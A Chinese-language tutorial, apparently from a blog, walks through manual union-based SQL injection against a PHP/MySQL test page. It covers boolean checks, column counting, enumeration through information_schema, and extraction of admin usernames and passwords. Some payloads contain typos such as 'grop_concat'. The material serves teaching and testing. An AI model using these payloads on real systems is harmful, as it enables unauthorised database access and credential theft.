1:驗證注入(and 1=1)
url: and 1=1 sql語句:select * from article where id =『9 and 1=1』;返回正常
and 1=2 sql語句:select * from aritcle where id =『9 and 1=2』;返回報錯
2:判斷字元段數(order by和 union)
2.1 order by
url: order by 1,2,3,4 sql語句:select * from aritcle where id =9 order by 1,2,3,4;
order by 在sql語句中是對結果集的指定列進行排序。
如:當我們測試到7時報錯,表明該錶只有6個字段
2.2 union select
url: union select null,null,null,null sql語句:select * from aritcle where id=9 union select null,null,null;
union select 聯合查詢:可以用於乙個或多個select的結果集,但是他有乙個條件,
就是兩個select查詢語句的查詢必須要有相同的列才可以執行,利用這個特性我們可以進行對比查詢,
也就是說當我們union select的列與它查詢的列相同時,頁面返回正常。
如:當字段為6個時頁面返回正常,而大於或小於6個頁面會報錯。
解決兩個小問題:
問題一:大部分程式只會呼叫資料庫查詢的第一條返回(我們這個也是),而通過聯合查詢出的資料中,
我們想看到的資料是在第二條中,如果我們想看到我們想要的資料有兩種方法,第一種是讓第一條資料返回假,
第二種是通過sql語句直接返回我們想要的資料。
法一:我們讓第乙個查詢的結果始終為假
url: and 1=2 union select null,null,null,null,null,null
sql語句:select * from article where id = 9 and 1=2 union select null,null,null,null,null,null
結果:返回為什麼什麼也沒有呢 因為我們的第二個查詢中並沒有查詢到什麼 返回為null 自然就什麼也沒有了
我們把語句放在mysql中看一下返回結果:
法二:通過limit語句,limit在mysql中是用來分頁的,我們也可以通過他拿到我們想要的結果集
url: and 1=2 union select null,null,null,null,null,null limit 1,1
sql語句:select * from article where id = 9 and 1=2 union select null,null,null,null,null,null limit 1,1
返回也是空,同上面結果一樣
問題二:哪個列中的資料是在頁面中顯示出來的,可能有一些列中的資料只是用於後台程式對資料處理使用,
並不會在前台顯示,所以我們需要判斷哪個字段我們可以看到。如圖,我們通過數字代替了null進行查詢,
確定了2,3,4,5 四個字段可以在頁面中顯示。
回答一下為什麼我們不一開始就是用數字,因為union select 不僅要求列的數量相同,同時資料型別也要相似。
url: and 1=2 union select 1,2,3,4,5,6 limit 1,1
sql語句:select * from article where id = 9 and 1=2 union select 1,2,3,4,5,6 limit 1,1
3.查詢資料庫
可以通過使用mysql自帶的函式database()查詢,得到資料庫名:test
url: and 1=2 union select 1,database(),3,4,5,6 limit 1,1
sql語句:sql語句:select * from article where id = 9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1
結果:顯示出test
4.查表名
查表名我們主要用到的是tables表。
這裡我們用到了group_concat它可以返回查詢的所有結果,因為我們需要通過命名判斷該我們需要的敏感資料。
這裡我們的目標是admin表。
url: and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'
sql語句:sql語句:select * from article where id = 9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'
結果:顯示出所有表名,第乙個為admin
5.查字段:
這裡同樣使用information_schema庫,這裡使用的是columns表。得到欄位id,username,password
url: and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'
sql語句:sql語句:select * from article where id = 9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'
結果:id,username,password
6:查資料
url: and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin
sql語句: select * from article where id = 9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin
結果就出來了
php mysql 注入基本過程
當mysql版本 5.0時我們只需要訪問information schema庫即可查詢資料庫的相關概要資訊,而對於 5.0的版本則需要爆破,今天我們測試的環境是mysql 5.5.40,對於小於5.0的mysql不建議手工測試,可以使用slqmap等注入工具輔助,成功率在於字典的大小。在mysql中...
mysql注入頁面 php mysql注入頁面實現
首先來借鑑一下注入點,以往的注入點是這樣的典型的數字型注入。id get id 獲取get方式傳過來的值並賦值給變數 既然是注入那麼肯定要運算元據庫。con mysql connect 127.0.0.1 root root 使用connect這個函式來連線資料庫,然後賦值給變數,connect這個...
php mysql注入環境搭建
php mysql注入環境搭建需要資料如下 1.安裝phpmystudy 自定義安裝好phpmystudy,啟動 執行phpmystudy 在phpmystudy安裝路徑下www目錄建立一下資料夾test,3.資料接受 建立資料庫,注入傳遞引數到資料庫 使用者名稱密碼都是root 建立乙個表列資料,...